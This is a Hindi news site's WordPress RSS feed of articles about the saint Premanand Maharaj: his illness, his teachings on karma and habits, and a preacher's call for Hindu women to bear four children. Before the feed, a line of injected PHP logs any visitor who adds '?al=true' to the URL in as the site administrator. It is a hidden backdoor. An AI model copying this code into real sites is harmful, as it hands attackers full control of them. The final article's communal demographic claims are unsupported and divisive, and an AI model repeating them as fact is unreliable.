// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Premanand Maharaj – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 18 May 2026 09:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 प्रेमानंद महाराज की तबीयत बिगड़ी, पदयात्रा अनिश्चितकाल के लिए स्थगित; दर्शन भी बंद https://pratyushaashakinayikiran.com/?p=220522 Mon, 18 May 2026 09:35:00 +0000 https://pratyushaashakinayikiran.com/?p=220522 वृंदावन

वृंदावन के प्रसिद्ध संत प्रेमानंद महाराज की तबीयत बिगड़ने के चलते उनकी पदयात्रा अनिश्चितकाल के लिए स्थगित कर दी गई है। साथ ही उनके एकांतिक दर्शन भी फिलहाल बंद कर दिए गए हैं। जिसके बाद देशभर से आए हजारों श्रद्धालुओं में मायूसी छा गई। रविवार देर रात बड़ी संख्या में भक्त महाराजजी के दर्शन के लिए वृंदावन पहुंचे थे, लेकिन रोजाना की तरह तड़के 3 बजे प्रेमानंद महाराज पदयात्रा पर नहीं निकले। उनकी जगह आश्रम के शिष्य पहुंचे और लाउडस्पीकर के जरिए श्रद्धालुओं को जानकारी दी।

किडनी की बीमारी से जूझ रहे प्रेमानंद जी महाराज
शिष्यों ने बताया कि महाराज जी का स्वास्थ्य ठीक नहीं है, इसलिए आज से पदयात्रा स्थगित की जा रही है। साथ ही भक्तों से सड़क किनारे भीड़ न लगाने और व्यवस्था बनाए रखने की अपील की गई। घोषणा के बाद श्रद्धालुओं को बिना दर्शन किए लौटना पड़ा। केली कुंज आश्रम के अनुसार संत प्रेमानंद महाराज पिछले 21 वर्षों से किडनी संबंधी बीमारी से पीड़ित हैं। स्वास्थ्य में अचानक आई परेशानी के कारण डॉक्टरों की सलाह पर उन्हें आराम दिया जा रहा है।

पदयात्रा अनिश्चितकाल के लिए स्थगित
हालांकि आश्रम की ओर से यह नहीं बताया गया है कि पदयात्रा और दर्शन दोबारा कब शुरू होंगे। महाराजजी के दर्शन न होने से भक्त भावुक नजर आए। श्रद्धालु उनके शीघ्र स्वस्थ होने की कामना कर रहे हैं। बता दें कि संत प्रेमानंद महाराज रोजाना तड़के केली कुंज आश्रम से करीब डेढ़ किलोमीटर पैदल चलकर सौभरी वन जाते हैं। उनकी पदयात्रा में शामिल होने और दर्शन पाने के लिए हर दिन हजारों श्रद्धालु पहुंचते हैं। सामान्य दिनों में करीब 20 हजार भक्त आते हैं।

प्रेमानंद महाराज का जन्म यूपी के कानपुर जिले की नरवल तहसील के अखरी गांव में हुआ था। पिता शंभू नारायण पांडे और मां रामा देवी हैं। तीन भाई हैं जिसमें प्रेमानंद मंझले हैं। बचपन में प्रेमानंद जी का नाम अनिरुद्ध कुमार पांडे था। वह बचपन से ही आध्यात्मिक रहे। और कक्षा 8 तक पढ़ाई की है। उन्होंने गुरु गौरी शरण जी महाराज से गुरुदीक्षा ली। फिर वह मथुरा आ गए।

प्रेमानंद के शिष्य हैं कई कई सेलिब्रिटी
आपको बता दें प्रेमानंद जी महाराज के बचपन का नाम अनिरुद्ध पांडेय हैं। 13 साल की उम्र में उन्होने संन्यास ले लिया था। यूट्यूब पर प्रेमानंद के 76 लाख, इंस्टाग्राम पर 2.4 करोड़ और फेसबुक पर 10 लाख से ज्यादा फॉलोअर हैं। बड़ी-बड़ी सेलिब्रिटी प्रेमानंद के शिष्य हैं। जिनमें क्रिकेटर विराट कोहली और उनकी पत्नी अनुष्का शर्मा, आशुतोष राणा, हेमा मालिनी, रतन राजपूत, मीका सिंह समेत कई लोग शामिल हैं।

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हर काम आखिरी पड़ाव पर आकर क्यों रुक जाता है? प्रेमानंद महाराज ने बताई असली वजह https://pratyushaashakinayikiran.com/?p=204016 Wed, 11 Mar 2026 11:06:00 +0000 https://pratyushaashakinayikiran.com/?p=204016 जीवन में कई बार आपको भी ऐसा लगा होगा कि आपके हर काम बनते हुए भी बिगड़ जाते हैं। अक्सर होता है कि कोई काम बिल्कुल अंत तक पहुंच जाता है और अचानक सब कुछ बिगड़ जाता है। कई बार तो चीजें शुरू होते ही खराब हो जाती हैं। ऐसी स्थिति में समझ नहीं आता कि भाग्य को दोष दें या कर्मों को।

प्रेमानंद महाराज से पूछा गया सवाल
प्रेमानंद जी महाराज के सत्संग में आए एक श्रद्धालु का भी ठीक यही प्रश्न था। उन्होंने कहा कि महाराज जी मेरे बनते हुए काम आखिर में क्यों बिगड़ जाते हैं। ऐसा बार-बार होने के पीछे आखिर क्या वजह है। इसपर प्रेमानंद जी महाराज का उत्तर हर किसी को जरूर जानना चाहिए।

पूर्व कर्मों के फल हैं
प्रेमानंद जी महाराज कहते हैं कि ऐसा होने के पीछे सबसे बड़ी वजह आप पूर्व जन्मों के पाप होते हैं। ये पूर्व के पाप ही हमें इस जीवन में भी दुख का अनुभव कराते हैं। वहीं हमारे अच्छे कर्म हमें सफलता प्रदान करते हैं।

सफलता की ओर ले जाती हैं ये चीजें
महाराज जी कहते हैं कि पूर्व जन्म के पाप ही असफलता का कारण होते हैं। इन्हें नष्ट करने का एक ही उपाय है कि आप सद्मार्ग की ओर बढ़ें। प्रभु का नाम जप करें, कीर्तन करें, अच्छे इंसान बनें, तीर्थयात्रा करें और लोगों की सेवा करें। ये सभी चीजें आपके पाप कर्म नष्ट कर के सफलता की ओर ले जाती हैं।

आध्यात्म से जुड़ना है जरूरी
प्रेमानंद जी महाराज कहते हैं कि इसी कारण आध्यात्म से जुड़ना बहुत जरूरी है। अन्यथा आपकी कामनाएं तो रहेंगी लेकिन वो कभी पूरी नहीं होंगी। जिस वजह से शोक, दुख, चिंता, भय आदि लगे ही रहेंगे।

मन की शांति है जरूरी
प्रेमानंद जी महाराज कहते हैं कि मन की शांति बहुत जरूरी है। अगर कोई इंसान गरीब भी है लेकिन धर्म के रास्ते पर चलता है, तो आप देखेंगे कि वो शांत है और जीवन में खुश है। वहीं अगर आप धनवान भी हैं लेकिन वासनाओं में लिप्त हैं, तो आपका जीवन हमेशा दुख, शोक, पीड़ा, चिंता आदि से भरा रहेगा।

भजन से ही संभव है मन की शांति
महाराज जी कहते हैं कि मन की शांति सिर्फ भजन से ही संभव है। आप धन, पद और प्रतिष्ठा से सब कुछ खरीद सकते हैं लेकिन मन की शांति नहीं। इसलिए अच्छे कर्म करें, भगवान का भजन करें; सफलता और सुख-शांति अपने आप ही आपके जीवन में प्रवेश करेंगे।

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हर काम आखिरी पड़ाव पर आकर क्यों रुक जाता है? प्रेमानंद महाराज ने बताई असली वजह https://pratyushaashakinayikiran.com/?p=204018 Wed, 11 Mar 2026 11:06:00 +0000 https://pratyushaashakinayikiran.com/?p=204018 जीवन में कई बार आपको भी ऐसा लगा होगा कि आपके हर काम बनते हुए भी बिगड़ जाते हैं। अक्सर होता है कि कोई काम बिल्कुल अंत तक पहुंच जाता है और अचानक सब कुछ बिगड़ जाता है। कई बार तो चीजें शुरू होते ही खराब हो जाती हैं। ऐसी स्थिति में समझ नहीं आता कि भाग्य को दोष दें या कर्मों को।

प्रेमानंद महाराज से पूछा गया सवाल
प्रेमानंद जी महाराज के सत्संग में आए एक श्रद्धालु का भी ठीक यही प्रश्न था। उन्होंने कहा कि महाराज जी मेरे बनते हुए काम आखिर में क्यों बिगड़ जाते हैं। ऐसा बार-बार होने के पीछे आखिर क्या वजह है। इसपर प्रेमानंद जी महाराज का उत्तर हर किसी को जरूर जानना चाहिए।

पूर्व कर्मों के फल हैं
प्रेमानंद जी महाराज कहते हैं कि ऐसा होने के पीछे सबसे बड़ी वजह आप पूर्व जन्मों के पाप होते हैं। ये पूर्व के पाप ही हमें इस जीवन में भी दुख का अनुभव कराते हैं। वहीं हमारे अच्छे कर्म हमें सफलता प्रदान करते हैं।

सफलता की ओर ले जाती हैं ये चीजें
महाराज जी कहते हैं कि पूर्व जन्म के पाप ही असफलता का कारण होते हैं। इन्हें नष्ट करने का एक ही उपाय है कि आप सद्मार्ग की ओर बढ़ें। प्रभु का नाम जप करें, कीर्तन करें, अच्छे इंसान बनें, तीर्थयात्रा करें और लोगों की सेवा करें। ये सभी चीजें आपके पाप कर्म नष्ट कर के सफलता की ओर ले जाती हैं।

आध्यात्म से जुड़ना है जरूरी
प्रेमानंद जी महाराज कहते हैं कि इसी कारण आध्यात्म से जुड़ना बहुत जरूरी है। अन्यथा आपकी कामनाएं तो रहेंगी लेकिन वो कभी पूरी नहीं होंगी। जिस वजह से शोक, दुख, चिंता, भय आदि लगे ही रहेंगे।

मन की शांति है जरूरी
प्रेमानंद जी महाराज कहते हैं कि मन की शांति बहुत जरूरी है। अगर कोई इंसान गरीब भी है लेकिन धर्म के रास्ते पर चलता है, तो आप देखेंगे कि वो शांत है और जीवन में खुश है। वहीं अगर आप धनवान भी हैं लेकिन वासनाओं में लिप्त हैं, तो आपका जीवन हमेशा दुख, शोक, पीड़ा, चिंता आदि से भरा रहेगा।

भजन से ही संभव है मन की शांति
महाराज जी कहते हैं कि मन की शांति सिर्फ भजन से ही संभव है। आप धन, पद और प्रतिष्ठा से सब कुछ खरीद सकते हैं लेकिन मन की शांति नहीं। इसलिए अच्छे कर्म करें, भगवान का भजन करें; सफलता और सुख-शांति अपने आप ही आपके जीवन में प्रवेश करेंगे।

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प्रेमानंद महाराज की सीख: ये 7 आदतें सुख-शांति की सबसे बड़ी दुश्मन, पांचवीं गलती सबसे आम https://pratyushaashakinayikiran.com/?p=194361 Sun, 25 Jan 2026 10:00:00 +0000 https://pratyushaashakinayikiran.com/?p=194361 रोजमर्रा की जिंदगी में हम अक्सर ऐसी गलतियां कर रहे होते हैं जो हमें नैतिक शिक्षा में भी सिखाया जाता है। अब प्रेमानंद महाराज ने इनका स्पिरिचुअल एंगल भी बताया है और कहा कि ये गलतियां करने से इंसान के पुण्य नष्ट होते हैं।

ये आदतें नष्ट कर सकती हैं जीवन की शांति

प्रेमानंद महाराज के सत्संग कई लोगों को जीने की राह देते हैं। वह लोगों को धर्म के रास्ते पर चलने की सीख देते हैं ताकि जीवन आसानी से पार हो जाए। उन्होंने अपने एक सत्संग में ऐसी कुछ गलतियां बताईं जो लोग रोजमर्रा के जीवन में करते हैं। प्रेमानंदजी ने कहा कि ऐसा करने वालों की सुख-शांति नष्ट हो जाती है।

लालच करना

लालच नहीं होना चाहिए। जो चीजें धर्म के मार्ग से मिलें उन्हीं से जीवन चलाना चाहिए। ऐसा करने से बच्चे और परिवार सुखी रहेंगे। सही तरह से आया पैसा लंबे समय तक चलता है। प्रेमानंद महाराज ने कहा कि लालच में आया पैसा हाइड्रोजन की तरह आएगा और फिर अंधेरा करके जाएगा।

अपमान ना सहना

प्रेमानंद महाराज ने बताया कि जो लोग छोटे से अपमान से क्रोधित होकर दूसरे का बुरा करने लगते हैं यह उनके पतन का कारण बन सकता है। सामने वाला बेइज्जत करे तो बर्दाश्त कर लेना चाहिए। ऐसा करने से आपके पाप नष्ट होते हैं और सामने वाला उन पापों को ले लेता है। ऐसा करने से आप टेंशन में रहेंगे और कामकाज भी प्रभावित रहेंगे।

हमेशा द्वेष करने वालों के बारे में सोचना

प्रेमानंदजी ने कहा कि जो आपका बुरा चाहते हैं उन्हें दिमाग में नहीं रखना चाहिए। ऐसा करके अगर आप गुस्सा करते हैं तो आपकी ही हानि होगी। कभी-कभी गुस्सा किसी भी आ सकता है लेकिन उसका पछतावा कर लें।

आश्रित की रक्षा करना

अगर भागकर कोई पशु, पक्षी या मनुष्य आपके पास आए तो उसकी रक्षा जरूर करें। आप मारते हैं या मरवा देते हैं इससे दर्गति होती है।

निडर होकर पाप करना

प्रेमानंदजी ने बताया कि जो लोग पाप खुश और निडर होकर करते हैं उनके जीवन की शांति छिन जाती है।

अपनी तारीफ करना

प्रेमानंद महाराज ने कहा कि इंसान को अपनी बड़ाई अपने मुंह से नहीं करनी चाहिए। बहुत से लोग ऐसा करते हैं। उन्होंने कहा कि ऐसा करने से बुद्धि भ्रस्ट हो जाती है और इंसान सही फैसले नहीं ले पाता है।

किसी के साथ गलत व्यवहार करना

प्रेमानंद महाराज ने बताया कि बच्चा, स्त्री, पागल या असहाय के साथ जो खराब व्यवहार करता है उसके जीवन का सुख और शांति नष्ट होती है। अगर आपकी पत्नी ऐसी है जिससे आप परेशान हैं या पति ऐसा है तो आप समझें कि ईश्वर ने आपके कुछ पिछले कर्म बैलेंस करने के लिए उन्हें भेजा है। कोई असहाय या पागल है उसे भी प्रताड़ित न करें, अच्छे मन से मदद और देखभाल करें।

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आज सनातन संस्कृति की रक्षा के लिए महिलाओं को चार-चार बच्चे पैदा करने की आवश्यकता है: प्रेमानंद महाराज https://pratyushaashakinayikiran.com/?p=54675 Fri, 26 Jul 2024 17:06:00 +0000 https://pratyushaashakinayikiran.com/?p=54675 उज्जैन

मैं भागवत कथा में वह बातें कहने नहीं आया हूं जो  आपके कानों को प्रिय है, बल्कि उन बातों को कह रहा हूं जो सनातन धर्म को आगे बढ़ाएगीं। वर्तमान में सभी लोग सनातन की पताका को लहराने और इस धर्म को आगे बढ़ाने की बात करते हैं, लेकिन मैं सभी को चेतावनी देते हुए कहता हूं कि अब भी संभल जाओ, उत्तरप्रदेश के 17 जिले हमारे हाथ से चले गए हैं। कुछ ऐसे ही हालात पश्चिम बंगाल के भी है, वहां भी लोग  इसी समस्या से जूझ रहे हैं। असम में 5 लाख लोगों के पास कोई पासपोर्ट और वीजा नहीं है। मेरे कहने का सीधा सा मतलब यह है कि 25 साल पहले वे लोग 2 करोड़ थे, फिर 9 करोड़ हुए और अब 38 करोड़ हो चुके हैं। अभी भी समय है, संभल जाइए नहीं तो हिंदुस्तान भी इंडोनेशिया हो जाएगा और जल्द ही आपकी गिनती भी अल्पसंख्यकों में होने लगेगी। यह बातें पंचायती अखाड़ा श्री निरंजनी के महामंडलेश्वर स्वामी प्रेमानंद महाराज ने उज्जैन के बड़नगर रोड स्थित मोहनपुरा में श्री बाबाधाम मंदिर (अर्जी वाले हनुमान 81 फीट) में  श्रीमद्भागवत कथा के दौरान कही।

फिगर मेंटेन करने की बजाय चार-चार पुत्र पैदा करें महिलाएं
प्रेमानंद महाराज ने कथा के दौरान कहा कि आज सनातन संस्कृति की रक्षा के लिए महिलाओं को चार-चार बच्चे पैदा करने की आवश्यकता है। हिंदू समाज की महिलाएं 1 से 2 बच्चे करने में भी संकोच करती हैं, जबकि दूसरे समुदाय के लोग 8-8 बच्चे पैदा कर रहे हैं। हिंदू महिलाओं को चाहिए कि वे फिगर मेंटेन करने की बजाय सनातन धर्म और देश के लिए भी कुछ करें।

तो हम करेंगे आपके बच्चों का पालन
प्रेमानंद महाराज ने कथा के दौरान कहा कि अगर आपका 2 बच्चों का टारगेट है और आप 3 कर रहें है तो चिंता करने की जरूरत नहीं है, क्योंकि आपके तीसरे बच्चे को हम पालन कर लेंगे। उन्होंने कहा कि इंडोनेशिया में रामलीला टिकिट से देखी जाती है। वहां कई जगह ऐसी हैं, जहां भगवान का नाम ले लिया जाए तो काटकर फेंक दिया जाता है। हमें इन्हीं समस्याओं के लिए अभी से मंथन करने के साथ जागृत भी होना होगा।

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